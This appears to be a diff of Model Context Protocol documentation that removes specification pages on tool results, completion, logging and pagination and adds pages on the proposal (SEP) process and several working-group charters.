"text/x-rust" -} -``` +**Skip the SEP process for:** -Resource links support the same [Resource annotations](/specification/2025-11-25/server/resources#annotations) as regular resources to help clients understand how to use them. +* Bug fixes and typo corrections +* Documentation clarifications +* Adding examples to existing features +* Minor schema fixes that don't change behavior - - Resource links returned by tools are not guaranteed to appear in the results - of a `resources/list` request. - +Not sure? Ask in [Discord](/community/communication#discord) before starting significant work. -#### Embedded Resources +## SEP Types -[Resources](/specification/2025-11-25/server/resources) **MAY** be embedded to provide additional context -or data using a suitable [URI scheme](./resources#common-uri-schemes). Servers that use embedded resources **SHOULD** implement the `resources` capability: +There are three kinds of SEP: -```json theme={null} -{ - "type": "resource", - "resource": { - "uri": "file:///project/src/main.rs", - "mimeType": "text/x-rust", - "text": "fn main() {\n println!(\"Hello world!\");\n}", - "annotations": { - "audience": ["user", "assistant"], - "priority": 0.7, - "lastModified": "2025-05-03T14:30:00Z" - } - } -} -``` +1. **Standards Track** - Describes a new feature or implementation for the Model Context Protocol, or an interoperability standard supported outside the core specification. +2. **Informational** - Describes a design issue or provides guidelines/information to the community without proposing a new feature. +3. **Process** - Describes a process surrounding MCP or proposes a change to a process (like this document). -Embedded resources support the same [Resource annotations](/specification/2025-11-25/server/resources#annotations) as regular resources to help clients understand how to use them. +## SEP Workflow -#### Structured Content +```mermaid theme={null} +flowchart TD + Idea["Idea"] + AwaitingSponsor{"Awaiting Sponsor
(up to 6 months)"} + Draft["Draft"] + Dormant["Dormant
(no sponsor)"] + Withdrawn["Withdrawn
(by author)"] + InReview["In-Review"] + Decision{"Core Maintainers decide"} + Accepted["Accepted"] + Rejected["Rejected"] + Final["Final"] + + Idea -->|"Submit PR with SEP file"| AwaitingSponsor + AwaitingSponsor --> Draft + AwaitingSponsor --> Dormant + AwaitingSponsor --> Withdrawn + Draft -->|"Sponsor reviews"| InReview + InReview --> Decision + Decision --> Accepted + Decision --> Rejected + Accepted -->|"Reference implementation complete"| Final +``` + +### Step-by-Step Process -**Structured** content is returned as a JSON object in the `structuredContent` field of a result. + + To improve your chances of a SEP being accepted: -For backwards compatibility, a tool that returns structured content SHOULD also return the serialized JSON in a TextContent block. + * **Discuss your idea with the relevant [working or interest group](/community/working-interest-groups) in [Discord](/community/communication#discord) first.** This is the single best way to refine your proposal and build early support. + * **If no relevant group exists, start a conversation in [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions) or the `#general` channel in [Discord](/community/communication#discord).** If there is enough interest, it may be worth [creating a new IG or WG](/community/working-interest-groups#creating-an-interest-group) — the effort involved in finding sponsors and facilitators is a good signal of whether the idea has sufficient traction, and is still preferable to a cold submission. + * **Check alignment with [Core Maintainer](/community/governance#roles) priorities and [design principles](/community/design-principles).** Priorities are generally reflected in the [project roadmap](/development/roadmap). Proposals outside current priorities or that conflict with design principles are more likely to face delays or additional friction in the review process. + -#### Output Schema +1. **Draft your SEP** as a markdown file named `0000-your-feature-title.md`, using `0000` as a placeholder. Follow the [SEP format](#sep-format) below. -Tools may also provide an output schema for validation of structured results. -If an output schema is provided: +2. **Create a pull request** adding your SEP file to the `seps/` directory in the [specification repository](https://github.com/modelcontextprotocol/modelcontextprotocol). -* Servers **MUST** provide structured results that conform to this schema. -* Clients **SHOULD** validate structured results against this schema. +3. **Update the SEP number**: Once your PR is created, rename the file using the PR number (e.g., PR #1850 becomes `1850-your-feature-title.md`) and update the SEP header. -Example tool with output schema: +4. **Find a Sponsor**: Tag a Core Maintainer or Maintainer from [the maintainer list](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md). Choose someone whose area relates to your proposal. Tips: + * Tag 1-2 relevant maintainers, not everyone + * Share your PR in the relevant Discord channel + * If no response after 2 weeks, ask in `#general` -```json theme={null} -{ - "name": "get_weather_data", - "title": "Weather Data Retriever", - "description": "Get current weather data for a location", - "inputSchema": { - "type": "object", - "properties": { - "location": { - "type": "string", - "description": "City name or zip code" - } - }, - "required": ["location"] - }, - "outputSchema": { - "type": "object", - "properties": { - "temperature": { - "type": "number", - "description": "Temperature in celsius" - }, - "conditions": { - "type": "string", - "description": "Weather conditions description" - }, - "humidity": { - "type": "number", - "description": "Humidity percentage" - } - }, - "required": ["temperature", "conditions", "humidity"] - } -} -``` +5. **Sponsor assigns themselves**: When a sponsor agrees, they assign themselves to the PR and update the SEP status to `draft`. + +6. **Informal review**: The sponsor reviews the proposal and may request changes. Discussion happens in PR comments. + +7. **Formal review**: When ready, the sponsor updates the status to `in-review`. The SEP enters formal review by Core Maintainers (meetings every two weeks). -Example valid response for this tool: +8. **Resolution**: The SEP may be `accepted`, `rejected`, or returned for revision. The sponsor updates the status. -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 5, - "result": { - "content": [ - { - "type": "text", - "text": "{\"temperature\": 22.5, \"conditions\": \"Partly cloudy\", \"humidity\": 65}" - } - ], - "structuredContent": { - "temperature": 22.5, - "conditions": "Partly cloudy", - "humidity": 65 - } - } -} -``` +9. **Finalization**: Once accepted, the reference implementation must be completed. When complete and incorporated into the specification, the sponsor updates the status to `final`. -Providing an output schema helps clients and LLMs understand and properly handle structured tool outputs by: +### SEP Statuses -* Enabling strict schema validation of responses -* Providing type information for better integration with programming languages -* Guiding clients and LLMs to properly parse and utilize the returned data -* Supporting better documentation and developer experience +| Status | Meaning | +| ------------ | ------------------------------------------------ | +| `draft` | Has a sponsor, undergoing informal review | +| `in-review` | Ready for formal Core Maintainer review | +| `accepted` | Approved, awaiting reference implementation | +| `rejected` | Declined by Core Maintainers | +| `withdrawn` | Author withdrew the proposal | +| `final` | Complete with reference implementation | +| `superseded` | Replaced by a newer SEP | +| `dormant` | No sponsor found within 6 months; can be revived | -### Schema Examples +**Important distinction**: `dormant` is not the same as `rejected`. A dormant SEP simply didn't find a sponsor - the idea may still be valid. If circumstances change (new community interest, new use cases), a dormant SEP can be revived by finding a sponsor and reopening the PR. -#### Tool with default 2020-12 schema: +## SEP Format -```json theme={null} -{ - "name": "calculate_sum", - "description": "Add two numbers", - "inputSchema": { - "type": "object", - "properties": { - "a": { "type": "number" }, - "b": { "type": "number" } - }, - "required": ["a", "b"] - } -} -``` +Each SEP should have the following parts: -#### Tool with explicit draft-07 schema: +### 1. Preamble -```json theme={null} -{ - "name": "calculate_sum", - "description": "Add two numbers", - "inputSchema": { - "$schema": "http://json-schema.org/draft-07/schema#", - "type": "object", - "properties": { - "a": { "type": "number" }, - "b": { "type": "number" } - }, - "required": ["a", "b"] - } -} -``` +A short descriptive title, author names/contact info, current status, SEP type, and PR number. -#### Tool with no parameters: +### 2. Abstract -```json theme={null} -{ - "name": "get_current_time", - "description": "Returns the current server time", - "inputSchema": { - "type": "object", - "additionalProperties": false - } -} -``` +A short (\~200 word) description of the technical issue being addressed. -## Error Handling +### 3. Motivation -Tools use two error reporting mechanisms: +Why the existing protocol specification is inadequate. This is critical - SEPs without sufficient motivation may be rejected outright. -1. **Protocol Errors**: Standard JSON-RPC errors for issues like: - * Unknown tools - * Malformed requests (requests that fail to satisfy [CallToolRequest schema](/specification/2025-11-25/schema#calltoolrequest)) - * Server errors +### 4. Specification -2. **Tool Execution Errors**: Reported in tool results with `isError: true`: - * API failures - * Input validation errors (e.g., date in wrong format, value out of range) - * Business logic errors +The technical specification describing syntax and semantics of the new feature. Must be detailed enough for competing, interoperable implementations. -**Tool Execution Errors** contain actionable feedback that language models can use to self-correct and retry with adjusted parameters. -**Protocol Errors** indicate issues with the request structure itself that models are less likely to be able to fix. -Clients **SHOULD** provide tool execution errors to language models to enable self-correction. -Clients **MAY** provide protocol errors to language models, though these are less likely to result in successful recovery. +### 5. Rationale -Example protocol error: +Why particular design decisions were made, alternate designs considered, and related work. Should provide evidence of community consensus and address objections raised during discussion. -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 3, - "error": { - "code": -32602, - "message": "Unknown tool: invalid_tool_name" - } -} -``` +### 6. Backward Compatibility -Example tool execution error (input validation): +All SEPs introducing backward incompatibilities must describe these incompatibilities, their severity, and how to deal with them. -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 4, - "result": { - "content": [ - { - "type": "text", - "text": "Invalid departure date: must be in the future. Current date is 08/08/2025." - } - ], - "isError": true - } -} -``` +### 7. Reference Implementation -## Security Considerations +Must be completed before the SEP reaches "Final" status, but need not be complete before acceptance. -1. Servers **MUST**: - * Validate all tool inputs - * Implement proper access controls - * Rate limit tool invocations - * Sanitize tool outputs +### 8. Security Implications -2. Clients **SHOULD**: - * Prompt for user confirmation on sensitive operations - * Show tool inputs to the user before calling the server, to avoid malicious or - accidental data exfiltration - * Validate tool results before passing to LLM - * Implement timeouts for tool calls - * Log tool usage for audit purposes +Any security concerns related to the SEP should be explicitly documented. +See the [SEP template](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/seps/README.md#sep-file-structure) for the complete file structure. -# Completion -Source: https://modelcontextprotocol.io/specification/2025-11-25/server/utilities/completion +## Prototype Requirements +Before a SEP can be accepted, you need "a prototype implementation demonstrating the proposal." Here's what qualifies: +**Acceptable prototypes:** -
+* A working implementation in one of the official SDKs (as a branch/fork) +* A standalone proof-of-concept demonstrating the key mechanics +* Integration tests showing the proposed behavior +* A reference server or client implementing the feature -**Protocol Revision**: 2025-11-25 +**The prototype should:** -The Model Context Protocol (MCP) provides a standardized way for servers to offer -autocompletion suggestions for the arguments of prompts and resource templates. When -users are filling in argument values for a specific prompt (identified by name) or -resource template (identified by URI), servers can provide contextual suggestions. +* Demonstrate the core functionality works as described +* Show the API design is practical and ergonomic +* Reveal any edge cases or implementation challenges +* Be runnable by reviewers (include setup instructions) -## User Interaction Model +**Not sufficient:** -Completion in MCP is designed to support interactive user experiences similar to IDE code -completion. +* Pseudocode alone +* A design document without code +* "Trust me, it works" - reviewers need to see it -For example, applications may show completion suggestions in a dropdown or popup menu as -users type, with the ability to filter and select from available options. +The prototype doesn't need to be production-ready. It exists to prove feasibility and surface issues early. -However, implementations are free to expose completion through any interface pattern that -suits their needs—the protocol itself does not mandate any specific user -interaction model. +## The Sponsor Role -## Capabilities +A Sponsor is a Core Maintainer or Maintainer who champions the SEP through the review process. The sponsor's responsibilities include: -Servers that support completions **MUST** declare the `completions` capability: +* Reviewing the proposal and providing constructive feedback +* Requesting changes based on community input +* **Updating the SEP status** as the proposal progresses +* Initiating formal review when the SEP is ready +* Presenting and discussing the proposal at Core Maintainer meetings +* Ensuring the proposal meets quality standards -```json theme={null} -{ - "capabilities": { - "completions": {} - } -} -``` +Authors should request status changes through their sponsor rather than modifying the status field themselves. -## Protocol Messages +## Status Management -### Requesting Completions +**The Sponsor is responsible for updating the SEP status.** This ensures status transitions are made by someone with the authority and context to do so appropriately. -To get completion suggestions, clients send a `completion/complete` request specifying -what is being completed through a reference type: +The sponsor: -**Request:** +1. Updates the `Status` field directly in the SEP markdown file (or, if they do not have access to the source repo, work with the author to set the right status) +2. Applies matching labels to the pull request (e.g., `draft`, `in-review`, `accepted`) -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "method": "completion/complete", - "params": { - "ref": { - "type": "ref/prompt", - "name": "code_review" - }, - "argument": { - "name": "language", - "value": "py" - } - } -} -``` +Both the markdown status field and PR labels should be kept in sync. The markdown file is the canonical record (versioned with the proposal), while PR labels make it easy to filter and search. -**Response:** +## SEP Review & Resolution -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "result": { - "completion": { - "values": ["python", "pytorch", "pyside"], - "total": 10, - "hasMore": true - } - } -} -``` +SEPs are reviewed by the MCP Core Maintainers team every two weeks. -For prompts or URI templates with multiple arguments, clients should include previous completions in the `context.arguments` object to provide context for subsequent requests. +For a SEP to be accepted it must meet these criteria: -**Request:** +* A prototype implementation demonstrating the proposal +* Clear benefit to the MCP ecosystem +* Community support and consensus -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "method": "completion/complete", - "params": { - "ref": { - "type": "ref/prompt", - "name": "code_review" - }, - "argument": { - "name": "framework", - "value": "fla" - }, - "context": { - "arguments": { - "language": "python" - } - } - } -} -``` +Once a SEP has been accepted, the reference implementation must be completed. When complete and incorporated into the main repository, the status changes to "Final". -**Response:** +## After Rejection -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "result": { - "completion": { - "values": ["flask"], - "total": 1, - "hasMore": false - } - } -} -``` +Rejection is not permanent. You can: + +1. **Address the feedback** - If specific concerns were raised, address them and resubmit +2. **Discuss the rejection** - Ask in Discord to understand the reasoning +3. **Submit a competing SEP** - Sometimes a different approach works better +4. **Wait for the right time** - Community needs evolve; what's rejected today may be welcomed later + +## Reporting SEP Bugs or Updates + +For SEPs not yet reaching `final` state, comment directly on the SEP's pull request. Once a SEP is finalized and merged, submit updates by creating a new pull request that modifies the SEP file. + +## Transferring SEP Ownership + +It occasionally becomes necessary to transfer ownership of SEPs to a new author. In general, we'd like to retain the original author as a co-author, but that's up to the original author. + +Good reasons to transfer ownership: + +* Original author no longer has time or interest +* Original author is unreachable + +Bad reasons: + +* You disagree with the direction (submit a competing SEP instead) + +## Copyright + +This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive. + + +# Server Card Charter +Source: https://modelcontextprotocol.io/community/server-card/charter + +Charter for the MCP Server Card Working Group. + +## Group Type + +**Working Group** + +## Mission Statement + +The Server Card Working Group exists to define mechanisms that facilitate discovery and usage of MCP servers via common discovery mechanisms, and to provide guidance on how this fits into broader AI standardization efforts around discovery. Concretely, the WG will define what constitutes an MCP Server Card, the standardized document format a Server Card must follow, and how clients discover a Server Card for a given server. + +## Scope -### Reference Types +### In Scope -The protocol supports two types of completion references: +* **Specification Work**: SEPs or extensions defining what constitutes an MCP Server Card and the specific format of the Server Card document. +* **Discovery Mechanism**: Specification of how an MCP Server Card document is discovered (well-known URL, resource-based discovery, etc.). +* **Cross-Ecosystem Coordination**: A recommendation to the [AI Card](https://github.com/Agent-Card/ai-card) effort on how to interact with MCP Server Cards. +* **Documentation**: Specification sections and guidance covering Server Card authoring and consumption. -| Type | Description | Example | -| -------------- | --------------------------- | --------------------------------------------------- | -| `ref/prompt` | References a prompt by name | `{"type": "ref/prompt", "name": "code_review"}` | -| `ref/resource` | References a resource URI | `{"type": "ref/resource", "uri": "file:///{path}"}` | +### Out of Scope -### Completion Results +* Changes to the MCP initialization handshake or transport layer. +* A general-purpose MCP server registry or catalog (owned by the Registry WG). +* Internationalization of Server Card content until an MCP-wide i18n approach is defined. -Servers return an array of completion values ranked by relevance, with: +### Related Groups -* Maximum 100 items per response -* Optional total number of available matches -* Boolean indicating if additional results exist +* **Registry WG** — Server Card format should stay as close as possible to a subset of `server.json`; coordination required to avoid divergence. +* **AI Card effort** (external) — ongoing discussion on whether and how an AI Catalog can link directly to an MCP Server Card. -## Message Flow +## Leadership -```mermaid theme={null} -sequenceDiagram - participant Client - participant Server +| Role | Name | Organization | GitHub | Term | +| ---- | ----------------- | ------------ | ---------------------------------------------------- | ---------------------------- | +| Lead | David Soria Parra | Anthropic | [@dsp-ant](https://github.com/dsp-ant) | 6 months (ends Aug 14, 2026) | +| Lead | Sam Morrow Drums | GitHub | [@SamMorrowDrums](https://github.com/SamMorrowDrums) | 6 months (ends Aug 14, 2026) | - Note over Client: User types argument - Client->>Server: completion/complete - Server-->>Client: Completion suggestions +## Authority & Decision Rights - Note over Client: User continues typing - Client->>Server: completion/complete - Server-->>Client: Refined suggestions -``` +| Decision Type | Authority Level | +| ----------------------------------- | ------------------------------------------------------ | +| Meeting logistics & scheduling | WG Leads (autonomous) | +| Proposal prioritization within WG | WG Leads (autonomous) | +| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) | +| Technical design within scope | WG consensus | +| Spec changes (additive) | WG consensus → Core Maintainer approval | +| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review | +| Scope expansion | Core Maintainer approval required | +| WG Member approval | WG Member sponsors | -## Data Types +## Membership -### CompleteRequest +| Name | Organization | GitHub | Discord | Level | +| ------------------ | ------------ | ---------------------------------------------------- | ------- | --------- | +| David Soria Parra | Anthropic | [@dsp-ant](https://github.com/dsp-ant) | | Lead | +| Sam Morrow Drums | GitHub | [@SamMorrowDrums](https://github.com/SamMorrowDrums) | | Lead | +| Tadas Antanavicius | | [@tadasant](https://github.com/tadasant) | | WG Member | -* `ref`: A `PromptReference` or `ResourceReference` -* `argument`: Object containing: - * `name`: Argument name - * `value`: Current value -* `context`: Object containing: - * `arguments`: A mapping of already-resolved argument names to their values. +## Operations -### CompleteResult +| Meeting | Frequency | Duration | Purpose | +| --------------- | --------- | -------- | ------------------------------------- | +| Working Session | Weekly | 60 min | Technical discussion, proposal review | -* `completion`: Object containing: - * `values`: Array of suggestions (max 100) - * `total`: Optional total matches - * `hasMore`: Additional results flag +Discord: [#server-card-wg](https://discord.com/channels/1358869848138059966/1399986204405141534) -## Error Handling +## Deliverables & Success Metrics -Servers **SHOULD** return standard JSON-RPC errors for common failure cases: +### Active Work Items -* Method not found: `-32601` (Capability not supported) -* Invalid prompt name: `-32602` (Invalid params) -* Missing required arguments: `-32602` (Invalid params) -* Internal errors: `-32603` (Internal error) +| Item | Status | Target Date | Champion | +| --------------------------------------------------------------------------------------------------- | ------ | ----------- | -------------------------------------- | +| [SEP-2127: MCP Server Card](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2127) | Draft | Apr 3, 2026 | [@dsp-ant](https://github.com/dsp-ant) | -## Implementation Considerations +### Success Criteria -1. Servers **SHOULD**: - * Return suggestions sorted by relevance - * Implement fuzzy matching where appropriate - * Rate limit completion requests - * Validate all inputs +### Active Work Items -2. Clients **SHOULD**: - * Debounce rapid completion requests - * Cache completion results where appropriate - * Handle missing or partial results gracefully +| Item | Status | Target Date | Champion | +| --------------------------------------- | ------ | ----------- | -------- | +| SEP 2127: MCP Server Cards | Draft | End March | @dsp-ant | +| Reference implementation in Tier-1 SDKs | — | End April | TBD | -## Security +### Success Criteria -Implementations **MUST**: +* Spec changes accepted by Core Maintainers. +* SDK implementations available. +* Real-world clients with reach implementing the proposal. +* Real-world servers with reach implementing the proposal. -* Validate all completion inputs -* Implement appropriate rate limiting -* Control access to sensitive suggestions -* Prevent completion-based information disclosure +## Changelog +| Date | Change | +| ---------- | --------------- | +| 2026-03-26 | Initial charter | -# Logging -Source: https://modelcontextprotocol.io/specification/2025-11-25/server/utilities/logging +# Skills Over MCP Charter +Source: https://modelcontextprotocol.io/community/skills-over-mcp/charter +Charter for the MCP Skills Over MCP Working Group. -
+## Group Type -**Protocol Revision**: 2025-11-25 +**Working Group** -The Model Context Protocol (MCP) provides a standardized way for servers to send -structured log messages to clients. Clients can control logging verbosity by setting -minimum log levels, with servers sending notifications containing severity levels, -optional logger names, and arbitrary JSON-serializable data. +## Mission Statement -## User Interaction Model +The Skills Over MCP Working Group defines how "agent skills" — rich, structured +instructions for agent workflows — are discovered, distributed, and consumed through MCP. +Native skills support in host applications demonstrates strong demand, and the group +emerged from discussion on [SEP-2076 — Agent Skills as a First-Class MCP Primitive](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2076), +which raised open questions about whether existing MCP primitives suffice or what +conventions to standardize. The WG produces specification extensions, reference +implementations, and coordination artifacts because solutions touch the protocol spec, +registry schema, SDK implementations, and client behavior. -Implementations are free to expose logging through any interface pattern that suits their -needs—the protocol itself does not mandate any specific user interaction model. +## Scope -## Capabilities +### In Scope + +* **Specification Work**: SEPs defining how skills are represented, discovered, and + consumed within MCP — including the Skills Extension (Extensions Track) and related + protocol changes +* **Reference Implementations**: SDK components and reference servers demonstrating + skill discovery and consumption patterns +* **Cross-Cutting Concerns**: Coordination with Registry WG (skills discovery/distribution, + registry schema changes), Agents WG (skill activation, server metadata consumption), + Primitive Grouping WG (progressive disclosure patterns), and external projects including + the [Agent Skills](https://agentskills.io/) spec (content format and well-known URI + discovery), FastMCP, and PydanticAI +* **Documentation**: Specification sections and guidance covering skill authoring, + discovery, and consumption + +### Out of Scope -Servers that emit log message notifications **MUST** declare the `logging` capability: +* **Registry schema decisions**: Schema ownership belongs to the Registry WG; this WG + contributes requirements but does not own the schema +* **Client implementation mandates**: We can document patterns but not require specific + client behavior +* **Plugin/bundle packaging**: Installable bundles (skills + servers + subagents + + configuration as a single artifact) — surfaced by use cases but belongs to a broader + packaging effort -```json theme={null} -{ - "capabilities": { - "logging": {} - } -} -``` +### Related Groups -## Log Levels +* **Agents WG** — How agents consume server metadata, skill activation +* **Registry WG** — Skills discovery/distribution, registry schema changes +* **Primitive Grouping WG** — Progressive disclosure patterns -The protocol follows the standard syslog severity levels specified in -[RFC 5424](https://datatracker.ietf.org/doc/html/rfc5424#section-6.2.1): +## Leadership -| Level | Description | Example Use Case | -| --------- | -------------------------------- | -------------------------- | -| debug | Detailed debugging information | Function entry/exit points | -| info | General informational messages | Operation progress updates | -| notice | Normal but significant events | Configuration changes | -| warning | Warning conditions | Deprecated feature usage | -| error | Error conditions | Operation failures | -| critical | Critical conditions | System component failures | -| alert | Action must be taken immediately | Data corruption detected | -| emergency | System is unusable | Complete system failure | +| Role | Name | Organization | GitHub | Term | +| ---- | --------------- | --------------------------- | ---------------------------------------- | ------- | +| Lead | Ola Hungerford | Nordstrom / MCP Maintainer | [@olaservo](https://github.com/olaservo) | Initial | +| Lead | Peter Alexander | Anthropic / Core Maintainer | [@pja-ant](https://github.com/pja-ant) | Initial | -## Protocol Messages +## Authority & Decision Rights -### Setting Log Level +| Decision Type | Authority Level | +| ----------------------------------- | ------------------------------------------------------ | +| Meeting logistics & scheduling | WG Leads (autonomous) | +| Proposal prioritization within WG | WG Leads (autonomous) | +| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) | +| Technical design within scope | WG consensus | +| Spec changes (additive) | WG consensus → Core Maintainer approval | +| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review | +| Scope expansion | Core Maintainer approval required | +| WG Member approval | WG Member sponsors | -To configure the minimum log level, clients **MAY** send a `logging/setLevel` request: +## Membership -**Request:** +| Name | Organization | GitHub | Discord | Level | +| ------------------------ | ------------------------------- | ------------------------------------------------------ | ------- | ----------- | +| Ola Hungerford | Nordstrom / MCP Maintainer | [@olaservo](https://github.com/olaservo) | | Lead | +| Peter Alexander | Anthropic / Core Maintainer | [@pja-ant](https://github.com/pja-ant) | | Lead | +| Yu Yi | Google | [@erain](https://github.com/erain) | | Participant | +| Sunish Sheth | Databricks | [@sunishsheth2009](https://github.com/sunishsheth2009) | | Participant | +| Keith A Groves | Hyix | [@keithagroves](https://github.com/keithagroves) | | Participant | +| Peder Holdgaard Pedersen | Saxo Bank / MCP Maintainer | [@pederhp](https://github.com/pederhp) | | Participant | +| Sam Morrow | GitHub | [@SamMorrowDrums](https://github.com/SamMorrowDrums) | | Participant | +| Jacob MacDonald | Google | [@jakemac53](https://github.com/jakemac53) | | Participant | +| Jonathan Hefner | Independent / MCP Maintainer | [@jonathanhefner](https://github.com/jonathanhefner) | | Participant | +| Luca Chang | AWS / MCP Maintainer | [@LucaButBoring](https://github.com/LucaButBoring) | | Participant | +| Bob Dickinson | TeamSpark.ai / MCP Maintainer | [@BobDickinson](https://github.com/BobDickinson) | | Participant | +| Radoslav Dimitrov | Stacklok / MCP Maintainer | [@rdimitrov](https://github.com/rdimitrov) | | Participant | +| Juan Antonio Osorio | Stacklok | [@JAORMX](https://github.com/JAORMX) | | Participant | +| Kaxil Naik | Astronomer / Apache Airflow PMC | [@kaxil](https://github.com/kaxil) | | Participant | +| Cliff Hall | Futurescale | [@cliffhall](https://github.com/cliffhall) | | Participant | -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "method": "logging/setLevel", - "params": { - "level": "info" - } -} -``` +## Operations -### Log Message Notifications +| Meeting | Frequency | Duration | Purpose | +| --------------- | ----------------- | ---------- | ----------------------------------------------------------------------------------- | +| Working Session | Weekly (Tuesdays) | 60 minutes | Technical discussion, pattern evaluation, proposal review; open to all participants | -Servers send log messages using `notifications/message` notifications: +Default start time is 9:00 AM Pacific. Sessions may occasionally be scheduled earlier to better accommodate non-US time zones. -```json theme={null} -{ - "jsonrpc": "2.0", - "method": "notifications/message", - "params": { - "level": "error", - "logger": "database", - "data": { - "error": "Connection failed", - "details": { - "host": "localhost", - "port": 5432 - } - } - } -} -``` +Meetings are published at [meet.modelcontextprotocol.io](https://meet.modelcontextprotocol.io). Agendas are posted in advance per MCP meeting policy. Meeting notes are published to [Meeting Notes — Skills Over MCP WG](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/categories/meeting-notes-skills-over-mcp-wg). -## Message Flow +Discord: [#skills-over-mcp-wg](https://discord.com/channels/1358869848138059966/1464745826629976084) -```mermaid theme={null} -sequenceDiagram - participant Client - participant Server +## Resources - Note over Client,Server: Configure Logging - Client->>Server: logging/setLevel (info) - Server-->>Client: Empty Result +* Experimental findings and reference implementations: [modelcontextprotocol/experimental-ext-skills](https://github.com/modelcontextprotocol/experimental-ext-skills) +* Project board: [Skills Over MCP WG](https://github.com/orgs/modelcontextprotocol/projects/38/views/1) - Note over Client,Server: Server Activity - Server--)Client: notifications/message (info) - Server--)Client: notifications/message (warning) - Server--)Client: notifications/message (error) +## Deliverables & Success Metrics - Note over Client,Server: Level Change - Client->>Server: logging/setLevel (error) - Server-->>Client: Empty Result - Note over Server: Only sends error level
and above -``` +### Active Work Items -## Error Handling +Full live tracking is on the [Skills Over MCP WG project board](https://github.com/orgs/modelcontextprotocol/projects/38/views/1). Headline workstreams: -Servers **SHOULD** return standard JSON-RPC errors for common failure cases: +| Item | Status | Target Date | Champion | +| ---------------------------------------------- | ----------- | ----------- | -------------------------------------------------------------------------------------------- | +| Skills Extension SEP (draft, Extensions Track) | In Review | | [@pja-ant](https://github.com/pja-ant) | +| Skills Extension reference implementation | In Review | | [@olaservo](https://github.com/olaservo) | +| Agent Skills spec coordination | In Progress | | [@jonathanhefner](https://github.com/jonathanhefner), [@pja-ant](https://github.com/pja-ant) | +| Registry skills.json proposal | In Progress | | [@JAORMX](https://github.com/JAORMX) | -* Invalid log level: `-32602` (Invalid params) -* Configuration errors: `-32603` (Internal error) +### Success Criteria -## Implementation Considerations +* **Short-term**: Documented consensus on requirements and evaluation of existing approaches +* **Medium-term**: Clear recommendation (convention vs. protocol extension vs. both) — the draft Skills Extension SEP represents the WG's current direction: a formal extension using existing Resources primitives +* **Long-term**: Interoperable skill distribution across MCP servers and clients -1. Servers **SHOULD**: - * Rate limit log messages - * Include relevant context in data field - * Use consistent logger names - * Remove sensitive information +## Changelog -2. Clients **MAY**: - * Present log messages in the UI - * Implement log filtering/search - * Display severity visually - * Persist log messages +| Date | Change | +| ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 2026-04-16 | Converted from Interest Group to Working Group | +| 2026-04-14 | Initial charter (formalized from [experimental-ext-skills](https://github.com/modelcontextprotocol/experimental-ext-skills) repo README, which served as the de facto charter before the charter process was established via [SEP-2149](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2149)) | +| 2026-02-01 | IG formed; experimental repo created | -## Security -1. Log messages **MUST NOT** contain: - * Credentials or secrets - * Personal identifying information - * Internal system details that could aid attacks +# Triggers and Events Charter +Source: https://modelcontextprotocol.io/community/triggers-events/charter -2. Implementations **SHOULD**: - * Rate limit messages - * Validate all data fields - * Control log access - * Monitor for sensitive content +Charter for the MCP Triggers and Events Working Group. +## Group Type -# Pagination -Source: https://modelcontextprotocol.io/specification/2025-11-25/server/utilities/pagination +**Working Group** +## Mission Statement +The Triggers and Events Working Group exists to define how MCP servers proactively notify clients of state changes. Today, clients learn about server-side updates by polling or holding an SSE connection open. This WG will specify a standardized callback mechanism—webhooks or similar—that lets servers push notifications when new data is available, with defined ordering guarantees that hold across all transports. -
+## Scope -**Protocol Revision**: 2025-11-25 +### In Scope -The Model Context Protocol (MCP) supports paginating list operations that may return -large result sets. Pagination allows servers to yield results in smaller chunks rather -than all at once. +* **Specification Work**: SEPs defining the trigger/callback mechanism, subscription lifecycle, delivery semantics, and event ordering guarantees. +* **Reference Implementations**: SDK components demonstrating server-initiated notifications and client-side callback handling. +* **Cross-Cutting Concerns**: Coordination with the Transports WG on transport-specific delivery behavior, and with the Agents WG where task completion notifications intersect with event triggers. +* **Documentation**: Specification sections covering event-driven patterns and migration guidance from polling-based approaches. -Pagination is especially important when connecting to external services over the -internet, but also useful for local integrations to avoid performance issues with large -data sets. +### Out of Scope -## Pagination Model +* Changes to the transport wire format or session model (owned by the Transports WG). +* General-purpose pub/sub infrastructure beyond what the MCP protocol requires. +* Modifications to existing notification primitives (`notifications/resources/updated`, `notifications/tools/list_changed`, etc.) that do not relate to proactive server-initiated delivery. -Pagination in MCP uses an opaque cursor-based approach, instead of numbered pages. +### Related Groups -* The **cursor** is an opaque string token, representing a position in the result set -* **Page size** is determined by the server, and clients **MUST NOT** assume a fixed page - size +* **Transports WG** — delivery and ordering guarantees depend on transport capabilities; callback semantics must be coherent across stdio, Streamable HTTP, and future transports. +* **Agents WG** — [SEP-1686 (Tasks)](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1686) identifies webhook-style task completion notifications as a future consideration; this WG owns that mechanism. -## Response Format +## Leadership -Pagination starts when the server sends a **response** that includes: +| Role | Name | Organization | GitHub | Term | +| ---- | --------------- | ------------------- | ------------------------------------------------ | ------- | +| Lead | Clare Liguori | Amazon Web Services | [@clareliguori](https://github.com/clareliguori) | Initial | +| Lead | Peter Alexander | Anthropic | [@pja-ant](https://github.com/pja-ant) | Initial | -* The current page of results -* An optional `nextCursor` field if more results exist +## Authority & Decision Rights -```json theme={null} -{ - "jsonrpc": "2.0", - "id": "123", - "result": { - "resources": [...], 